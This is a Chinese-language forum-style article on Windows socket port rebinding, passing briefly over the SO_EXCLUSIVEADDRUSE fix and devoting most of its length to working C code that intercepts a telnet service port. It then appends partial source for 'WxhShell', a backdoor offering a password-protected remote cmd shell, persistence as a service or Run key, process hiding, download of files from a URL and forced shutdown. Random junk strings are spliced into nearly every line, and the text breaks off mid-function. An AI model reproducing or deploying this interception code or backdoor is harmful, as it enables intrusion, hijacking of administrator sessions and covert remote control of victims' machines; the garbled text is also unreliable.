在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!0fI"3P@r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
C}CKnkMMD Bh` IXu saddr.sin_family = AF_INET;
p#H]\P' 68x}w
Ae saddr.sin_addr.s_addr = htonl(INADDR_ANY);
; Zq/eiB g#W_S? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Jyu`-=It W^xZ+] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n,KA&)/s Fh`-(,e?5 这意味着什么?意味着可以进行如下的攻击:
:)P<jX-G (K!4Kp^m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v*P[W_. w:Q|?30 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
jp m#hH{R k!E"wJkpz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yDtOpM8<{
.fJ*c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Kpg:yrc[' dt~iw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?~)Ak`= wD=am 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rl|Q)A{ %c1FwAC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
MFTC6L+T 37KU~9-A #include
oEAfowXSqk #include
^K*-G@B #include
[.U^Wrd #include
2nx9#B*/T DWORD WINAPI ClientThread(LPVOID lpParam);
e\~l!f'z int main()
sV'v*
1| {
h[H%:743 WORD wVersionRequested;
yqBa_XPV8 DWORD ret;
"%kGRHq WSADATA wsaData;
I Tn;m BOOL val;
r|bPR!0 SOCKADDR_IN saddr;
NUu;tjt: SOCKADDR_IN scaddr;
Ma_=-cD int err;
qT0_L SOCKET s;
(j=DD6fC SOCKET sc;
i+RD]QL int caddsize;
xPvRQ HANDLE mt;
;o%:7& DWORD tid;
>p |yf.G wVersionRequested = MAKEWORD( 2, 2 );
\^m.dIPdO err = WSAStartup( wVersionRequested, &wsaData );
gA:[3J,[; if ( err != 0 ) {
&oc_a1R printf("error!WSAStartup failed!\n");
U IQ 6SvM return -1;
1g81S_T
. }
2*YP"Ryh saddr.sin_family = AF_INET;
i;avwP<0 [,nfAY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i^/DiWdyf kDg{>mf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=N;$0Y(g saddr.sin_port = htons(23);
{DS\!0T-X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
voH4 {
h=Oh9zsz8 printf("error!socket failed!\n");
7p
!zp 9| return -1;
1{7_ `[ }
/evaTQPz val = TRUE;
Es~DHX //SO_REUSEADDR选项就是可以实现端口重绑定的
{\lui eG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>eu
`!8 {
tPzM7
n| printf("error!setsockopt failed!\n");
.&L^J&V return -1;
|zb`&tv} }
fX""xTNPi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&R0OeRToUb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UMv"7~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
n)Hk8)^8 pB[%:w/@l: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
I=K[SY,]9 {
A
mvw`u> ret=GetLastError();
y
'mlee printf("error!bind failed!\n");
C*$|#.l return -1;
g"w)@*?K }
|o|gP8 listen(s,2);
FE>3 D1\ while(1)
.r(^h/IF {
17|@f caddsize = sizeof(scaddr);
`|uoqKv //接受连接请求
v)%[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
mQFa/7FX if(sc!=INVALID_SOCKET)
JUmw$u {
5a8JVDLX^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Euqjxz if(mt==NULL)
8IpxOA#jQ {
~NA1SZ{Y+ printf("Thread Creat Failed!\n");
#`r(zI[ break;
8g-P_[> }
]DGGcUk7 }
^P]?3U\nj CloseHandle(mt);
F
[r|Y-c] }
5DmCxg closesocket(s);
B<(Pd WSACleanup();
Al=(sHc' return 0;
q"P5,:W }
}7-7t{G DWORD WINAPI ClientThread(LPVOID lpParam)
56"#Syj {
o?;F.W_ SOCKET ss = (SOCKET)lpParam;
|X,$?ZDap SOCKET sc;
OTnu{<.a unsigned char buf[4096];
P=&'wblm? SOCKADDR_IN saddr;
<>SR 4 long num;
sg+ZQDF{x DWORD val;
~6\& y DWORD ret;
hEVjeC //如果是隐藏端口应用的话,可以在此处加一些判断
'y'T'2N3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~*jsB=XM/ saddr.sin_family = AF_INET;
#Tup]czO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
KuIBYaK,
g saddr.sin_port = htons(23);
=fL6uFmxI@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kA;xAb+U3 {
20$F$YYuk printf("error!socket failed!\n");
@^'G&%j return -1;
hN Z4v/ }
x-w`KFS val = 100;
R.91v4J if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
av'd%LZP {
~gSwxGT7d ret = GetLastError();
3Ne9%" return -1;
HyZVr2 }
}pbBo2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z0\;m{TH {
k&MlQ2'!< ret = GetLastError();
UOn! Y@ return -1;
yjGGqz$ }
NFrNm'v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N$N;Sw {
NvQY7C printf("error!socket connect failed!\n");
Es.toOH$S closesocket(sc);
$
/}: P closesocket(ss);
w{_e"N return -1;
6(ka"Vu~ }
k7:GS,7 while(1)
=-OCM*5~S {
kHt!S9r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
uAW*5 `[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
nQ:ml //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\e`6=Q% num = recv(ss,buf,4096,0);
7xLo4 if(num>0)
3%It~o? send(sc,buf,num,0);
Y{%4F%Oy else if(num==0)
?&whE! break;
!L&=?CX num = recv(sc,buf,4096,0);
n/KI"qa]9 if(num>0)
g28S3 '2 send(ss,buf,num,0);
dAu^{1+2 else if(num==0)
5QqJI#4~ break;
btUUZ"q< }
S(g<<Te closesocket(ss);
G=r(SJq closesocket(sc);
[(D}%+2 return 0 ;
;']vY }
_ 4~ng#M* 7i-W*Mb: ir?Uw:/f ==========================================================
"-0pz\a Ff)~clIK ' 下边附上一个代码,,WXhSHELL
eEZ|nEU 1A|x$j6m ==========================================================
;a!h.8UJPI ?:#>^eWYe7 #include "stdafx.h"
$Nt=gSWw5 %0ll4" #include <stdio.h>
"}]GQt< F #include <string.h>
9 NGeh*` #include <windows.h>
*pcbwd!/ #include <winsock2.h>
>.!5M L\ #include <winsvc.h>
R`I8Ud4= #include <urlmon.h>
g( @$uJ [[*0MA2Y #pragma comment (lib, "Ws2_32.lib")
c~^]jqid] #pragma comment (lib, "urlmon.lib")
f{+LCMbC6 4e(9@OLP #define MAX_USER 100 // 最大客户端连接数
P-E'cb%ub #define BUF_SOCK 200 // sock buffer
I:uQB! #define KEY_BUFF 255 // 输入 buffer
'-nuH;r %#S "~) #define REBOOT 0 // 重启
)|{1&F1 #define SHUTDOWN 1 // 关机
Pv{,aV\I} 1OiZNuI:E #define DEF_PORT 5000 // 监听端口
/VhE<}OtH j(@g
#define REG_LEN 16 // 注册表键长度
MrKU,- #define SVC_LEN 80 // NT服务名长度
RAD4q"}k V<~_OF // 从dll定义API
HdY3DdC%q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4t%:O4
3e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"a0u-}/D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
T;4gcJPn"M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&G7)s%q ^;Hi/KvM\ // wxhshell配置信息
zP{<0o struct WSCFG {
xu_XX#9?b int ws_port; // 监听端口
%/6e"o char ws_passstr[REG_LEN]; // 口令
U!;aM*67 int ws_autoins; // 安装标记, 1=yes 0=no
.qqb>7|q char ws_regname[REG_LEN]; // 注册表键名
:C|>y4U&(s char ws_svcname[REG_LEN]; // 服务名
@T,H.#bL char ws_svcdisp[SVC_LEN]; // 服务显示名
~ ];6hxv char ws_svcdesc[SVC_LEN]; // 服务描述信息
y3@x*_K8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|`94W j< int ws_downexe; // 下载执行标记, 1=yes 0=no
Ch \ed|u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
) v[Knp' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y-) +I<M 3@Zz-~4Td };
LjH&f 4mY ]UCk_zWsn1 // default Wxhshell configuration
Zjp5\+hHV struct WSCFG wscfg={DEF_PORT,
P/gb+V=g! "xuhuanlingzhe",
ax{-Qi7z-+ 1,
o trTrh "Wxhshell",
:#W>SO "Wxhshell",
f_5R!; "WxhShell Service",
Qq FfR# "Wrsky Windows CmdShell Service",
c&Su d, & "Please Input Your Password: ",
ko+M,kjwR 1,
8O.:3%D~
t "
http://www.wrsky.com/wxhshell.exe",
Lm*LJ_+ B "Wxhshell.exe"
sw qky5_K };
wJeqa M#lVPXS // 消息定义模块
9i2vWSga char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&h4Z|h[01 char *msg_ws_prompt="\n\r? for help\n\r#>";
iz
GaV[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9h,yb4jPP char *msg_ws_ext="\n\rExit.";
ZAo)_za&mH char *msg_ws_end="\n\rQuit.";
dS;|Kl[Om char *msg_ws_boot="\n\rReboot...";
!7NzW7j char *msg_ws_poff="\n\rShutdown...";
y/sWy1P7 char *msg_ws_down="\n\rSave to ";
9J;H.:WH ,f/IG. char *msg_ws_err="\n\rErr!";
l~6 SR char *msg_ws_ok="\n\rOK!";
T\e)Czz2- 4Utx
9^ char ExeFile[MAX_PATH];
RJ@e5A6_ int nUser = 0;
B=Jd%Av HANDLE handles[MAX_USER];
IrwF
B int OsIsNt;
LN6 JH! #u=O 5%. SERVICE_STATUS serviceStatus;
GLKN<2|2@y SERVICE_STATUS_HANDLE hServiceStatusHandle;
,YMdXYu`s rW%'M#!
= // 函数声明
8DS5< int Install(void);
piiQ int Uninstall(void);
_8b>r1$ int DownloadFile(char *sURL, SOCKET wsh);
_]r)6RT int Boot(int flag);
$E~Lu$| void HideProc(void);
OB
i!fLa int GetOsVer(void);
z#E,96R int Wxhshell(SOCKET wsl);
sImxa`kb void TalkWithClient(void *cs);
h9n<ped`A; int CmdShell(SOCKET sock);
C^42=? int StartFromService(void);
W4rw ;(\ int StartWxhshell(LPSTR lpCmdLine);
VQNH@g^gqr sK9h=J;F/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0!'M#'m VOID WINAPI NTServiceHandler( DWORD fdwControl );
<ZvPtW U#1yl6e\I // 数据结构和表定义
Dp6"I!L<| SERVICE_TABLE_ENTRY DispatchTable[] =
l'{goy f {
p*&LEjaVM4 {wscfg.ws_svcname, NTServiceMain},
MLIQ 8= {NULL, NULL}
i K[8At"Xo };
Cg\)BHv~ z` ?xS // 自我安装
ZG[0rvW int Install(void)
'nDT.i {
BMj&*p8R char svExeFile[MAX_PATH];
L2O57rT2 HKEY key;
wG[l9)lz strcpy(svExeFile,ExeFile);
7<Js'\Z PaeafL65= // 如果是win9x系统,修改注册表设为自启动
~u`! Gi if(!OsIsNt) {
v%7JZ<I'A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~t3?er& R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l3|>*szX RegCloseKey(key);
NGQIoKC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L#@$Mtc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i&Cqw~.H RegCloseKey(key);
nMoF;AdKm return 0;
F"#*8P }
I%|s }
EGr5xR- }
%|* y/m else {
&ziB#(&:H *ik)>c_ // 如果是NT以上系统,安装为系统服务
$`{q = SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ghQsS|)p. if (schSCManager!=0)
2}\sj'0& {
^a 5~FI: SC_HANDLE schService = CreateService
I%*Zj,> (
kV%y%l(6 schSCManager,
][qA@3^Tw wscfg.ws_svcname,
]
r+I D wscfg.ws_svcdisp,
!m5\w> SERVICE_ALL_ACCESS,
G%/cV?18 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W]7?;#Hpk SERVICE_AUTO_START,
xT(.#9 SERVICE_ERROR_NORMAL,
J@{Bv% svExeFile,
kZEy NULL,
^o<Nz8 NULL,
9.}3RAB(cv NULL,
B>L^XGq NULL,
@].aFhH`) NULL
o"CqVRR );
X
KeK;+ if (schService!=0)
n{* [Y
{
p)]^>-L CloseServiceHandle(schService);
k)_#u;qmG CloseServiceHandle(schSCManager);
Y{{,62D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
udr'~,R strcat(svExeFile,wscfg.ws_svcname);
ViONG]F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7cQw?C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ECfY~qK RegCloseKey(key);
fP*C*4#X return 0;
~z"->.u }
JsdEA }
[qo*,CRz CloseServiceHandle(schSCManager);
1x8]& }
+eat,3Ji }
Ho9*y3] wOSNlbQ5jl return 1;
R|yTUGY }
\EqO;A%< xk<0QYv
// 自我卸载
v0pEN\ int Uninstall(void)
Y*Rqgpu
$
{
\Bf{/r5x HKEY key;
RR9s%>^ R'_[RHFC if(!OsIsNt) {
J#^M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ttxOP RegDeleteValue(key,wscfg.ws_regname);
z#ET-[I RegCloseKey(key);
<]J5AdJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{K}+$jzGVt RegDeleteValue(key,wscfg.ws_regname);
IEj`:]d RegCloseKey(key);
B!lw>rUMQ return 0;
|9@;Muq; }
oWT0WS }
DtX{0p<T3 }
U$%w"k7^( else {
QX/`s3N ZH*?~ # SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6&cU*Io@ if (schSCManager!=0)
WbF\=;$=7 {
b ;b1V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*0tNun 5=3 if (schService!=0)
v\Gu {
P=GM7 if(DeleteService(schService)!=0) {
l K%Hb= CloseServiceHandle(schService);
3H2'HO CloseServiceHandle(schSCManager);
(n G return 0;
@A%`\Ea% }
#-O4x`W> CloseServiceHandle(schService);
\(s";@ }
C$5x*`y CloseServiceHandle(schSCManager);
# jyAq$I0 }
%r!-*p<i| }
G"(!5+DLy -u(#V#}OV? return 1;
SqLKF<tY]/ }
/6fs h7 \ 2TO1i0 // 从指定url下载文件
:8FH{sqR int DownloadFile(char *sURL, SOCKET wsh)
tVwN92*J {
v}U;@3W8U HRESULT hr;
6kk(FVX char seps[]= "/";
)ALcmC?!# char *token;
"=)`*"rr char *file;
Ki2_Nh>tM char myURL[MAX_PATH];
!`o=2b=N char myFILE[MAX_PATH];
+VDB\n NUseYU`` strcpy(myURL,sURL);
b?l\QMvi token=strtok(myURL,seps);
ofV{SeD67 while(token!=NULL)
#=2~MXa@z7 {
2P*O^-zRp file=token;
C.|MA(7 token=strtok(NULL,seps);
p}\!"&,^m }
.#SWfAb2h =:lacK(0 GetCurrentDirectory(MAX_PATH,myFILE);
tBt\&{=|D strcat(myFILE, "\\");
& |r)pl0$ strcat(myFILE, file);
d*(1t\ send(wsh,myFILE,strlen(myFILE),0);
-Cl0!}P4I send(wsh,"...",3,0);
6[i-Tl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
R~o?X^^O if(hr==S_OK)
$t^`Pt*:u return 0;
jw
H)x else
V*)gJg return 1;
}5|uA/B K(hf)1q }
JL1Whf 8V@3T/} // 系统电源模块
N6eY-`4y int Boot(int flag)
Gh.02 {
3Dy.mt P
HANDLE hToken;
rTcH~s
D` TOKEN_PRIVILEGES tkp;
cK""Xz&m p ^Ruf?> if(OsIsNt) {
8AK#bna~- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MQ01!Y[q_7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/Bc
;)~ tkp.PrivilegeCount = 1;
#qzozQ4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)7f:hg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p AD@oPC if(flag==REBOOT) {
AO/R2a(: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ma$b(4dB return 0;
0@>3fR }
7yKadM~) else {
n/?_] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z}Q54,9m return 0;
J::dY~@ }
Gk<h_1WWK }
PR6{Y]e% else {
9G&l{7 = if(flag==REBOOT) {
(URWicaB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3]T2Zp&; return 0;
zg|]Ic }
P*_Q 8I)Y else {
{sbQf7) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
RszqDm return 0;
=OCHV+m }
\
^_3Yw }
`6'fX[j5 A^G%8 )\ return 1;
+ ~HL"Vv }
2x0[@cTi? !pgkUzMW // win9x进程隐藏模块
%1S;y void HideProc(void)
8^2Q ~{i {
-(dc1?COi =MA$xz3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/S%{`F= if ( hKernel != NULL )
0 }
uH {
#49,7OBU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*?cE]U6; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Que- FreeLibrary(hKernel);
C/!kMMh>vV }
c&ymVB?G:1 .,I^) 8c return;
A\YP}sG1 }
D >$9( YjAwt;%-D // 获取操作系统版本
3nMXfh/ int GetOsVer(void)
w(0's' {
w\!aKeP'
OSVERSIONINFO winfo;
y\]:&)?&C^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
v="i0lL_ GetVersionEx(&winfo);
O1Vs! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#A+ dj|
b return 1;
@uApm~} else
%8s$l'Q; return 0;
l!5fuB8 }
B
E!HM{- =c:K(N qL // 客户端句柄模块
gm'8,ZL int Wxhshell(SOCKET wsl)
yP.,Dh s {
f5'Cq)Vw_ SOCKET wsh;
M|xd9kA^ struct sockaddr_in client;
RG4T9eZq DWORD myID;
7M9Ey29f jInI% while(nUser<MAX_USER)
[,JUC< {
):-\TVz~ int nSize=sizeof(client);
bLuAe
EA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>UlAae44 if(wsh==INVALID_SOCKET) return 1;
<2^XKaS` p,0J $L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
iEjUo,
Y[ if(handles[nUser]==0)
O1[`2kj^HB closesocket(wsh);
WTK )SKa,. else
3
vr T` nUser++;
()%NotN; }
eb10=Lmj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
B*B}eXUph 2Tt^^Lb return 0;
$^~dqmE2, }
;XAj/6pm K FM x(fD // 关闭 socket
NFsj
~6F# void CloseIt(SOCKET wsh)
0q}k"(9 {
(m:ktd=x closesocket(wsh);
4@0y$Dv\ nUser--;
n;QMiz:yY ExitThread(0);
A43 mX!g\ }
T3H\KRe6 I.'(n8* // 客户端请求句柄
Ct@O S227x void TalkWithClient(void *cs)
`YL)[t? V {
9IfeaoZZ4q wB%N}bi! SOCKET wsh=(SOCKET)cs;
:9?y-X char pwd[SVC_LEN];
a]NH >d char cmd[KEY_BUFF];
$OGTHJA char chr[1];
W[BwHNxyg int i,j;
{@E(p4W hsCts@R while (nUser < MAX_USER) {
&-R(u}m-F ^VL",Nt if(wscfg.ws_passstr) {
_4^#VD#f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C]dK/~Z#r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4C]>{osv //ZeroMemory(pwd,KEY_BUFF);
2,T^L(] i=0;
wg.TCT2 while(i<SVC_LEN) {
/u&{=nU n=_jmR1 // 设置超时
Q95`GuI@ fd_set FdRead;
%Bxp
!Bj struct timeval TimeOut;
}[FP"# FD_ZERO(&FdRead);
T#OrsJdu FD_SET(wsh,&FdRead);
?mq<#/qb TimeOut.tv_sec=8;
Tup2;\y TimeOut.tv_usec=0;
o W<Z8s;p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<0sT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X<p'& 3{/[gX9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
f?Am) pwd
=chr[0]; P,RdYM06
if(chr[0]==0xd || chr[0]==0xa) { F'Lav?^
pwd=0; ,RXfJh
break; | >
t,1T.
} G?$0OU
i++; 'O:QS)
} 8n2MZ9p]
Z23*`yR
// 如果是非法用户,关闭 socket qvH RP@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (^lw<$N
} + 7~u_J
1&2X*$]y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .$]%gjIBCl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J{w[vcf
lk(.zYaaN
while(1) { P/?'ea
{];8jdg/?
ZeroMemory(cmd,KEY_BUFF); =G<i6%(^g
_(zPA4q8q
// 自动支持客户端 telnet标准 ?7k%4~H t
j=0; 5J vrQGvL
while(j<KEY_BUFF) { >Y>>lE!
k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #)7THx/=
cmd[j]=chr[0]; |%HTBF
if(chr[0]==0xa || chr[0]==0xd) { &)Z!A*w]
cmd[j]=0; ~9Jlb-*I5
break; 552yzn1
} qGK -f4
j++; ~jOn)jBRZ
} _VM()n;
lKT<aYX
// 下载文件 4n5r<?rY
if(strstr(cmd,"http://")) { w$fP$ \+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E9]\ I>v
if(DownloadFile(cmd,wsh)) YEiQ`sYKG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z{_ws
else Jv[c?6He
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?nc:B]=pTY
} =F9!)r
else { yd+.hg&J
1[U`,(C1
switch(cmd[0]) { &CcUr#|
e{RhMjX<D
// 帮助 VX{9g#y$j
case '?': { }Kt1mmo:`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ng 3r`S"_<
break; ^Ee"w7XjD
} >u=Dc.lX
// 安装 I|eYeJ3
case 'i': { KP*cb6vA
if(Install()) VxTrL}{(6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MUjfqxTT
else J&w'0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8H7=vk+
break; +5xVgIk#
} xk\n F0z
// 卸载 !=SBeq
case 'r': { Z6\H4,k&
if(Uninstall()) X1Vj"4'wT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [PP&}.k4"
else ih\=mB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -qNun3
break; WMk;-,S!)
} @q/E)M?
// 显示 wxhshell 所在路径 ?j^:jV
case 'p': { ]mZN18#
char svExeFile[MAX_PATH]; ~[ZRE @
strcpy(svExeFile,"\n\r"); 7^<{aE:
strcat(svExeFile,ExeFile); *w,C5 f
send(wsh,svExeFile,strlen(svExeFile),0); XFmTr@\M
break; NO'37d
} S|pf.l
// 重启 =b_/_b$q
case 'b': { '5;
/V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BH3%dh:9
if(Boot(REBOOT)) LAjreC<W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)n^b
else { bg/a5$t
closesocket(wsh); ;,7/> Vt
ExitThread(0); #sHt3z)6I
} tcD DX'S
break; e?yrx6
} ,C;%AS/
// 关机 5!jU i9
case 'd': { 5h7M3s
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hRaX!QcG3
if(Boot(SHUTDOWN)) ^jB17z[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1a@b-V2
d&
else { #BhDC.CcW
closesocket(wsh);
Pk/3oF
ExitThread(0); Rn9e#_ Az
} \6L,jSoBl
break; d]r?mnN W
}
.u3Z*+
// 获取shell 3;Y9<
case 's': { }O+`X) 9
CmdShell(wsh); G:4'')T
closesocket(wsh); _2~+%{/m,
ExitThread(0); \ Dccf_(Pb
break; 5[0W+W
} )l6(ss!J
// 退出 z{wZLqG
case 'x': { Q$58K9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %*a%F~Ss
CloseIt(wsh); opv<r*!
break; o>75s#=
b=
} sDl@
// 离开 s0\}Q=s[
case 'q': { ;|r<mT/,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *6/OLAkyF
closesocket(wsh); Ev]oPCeA
WSACleanup(); JJ4w]Dd4
exit(1); moCr4*jDX,
break; oZ\zi> Y,
} d
A>6
} +N2R'Phv
} %G/(7l[W
L2>
)HG
// 提示信息 XDyFe'1I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,u S)N6'b6
} '4)4* 3z,
} N~vK8j@
AB=Wj*fr
return; 63HtZ=hO7
} .1F41UyL
>=K~*$&>
// shell模块句柄 s8+{##"1
q
int CmdShell(SOCKET sock) -'rb+<v
{ k2:mIp\
STARTUPINFO si; F@<^
ZeroMemory(&si,sizeof(si)); r1a/'+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U[G5<&Z^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oD3Q{e
PROCESS_INFORMATION ProcessInfo; Rja>N)MzBf
char cmdline[]="cmd"; F0KNkL>&g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qk=OodEMK
return 0; y\XWg`X
y
} 1EQLsg`d^
51'{Jx8
// 自身启动模式 d;v<rw
int StartFromService(void) RU+F~K<
{ Gdv{SCV
typedef struct 8V@\$4@b!#
{ #B@*-
DWORD ExitStatus; 7VW/v4n
DWORD PebBaseAddress; s)}EMDY
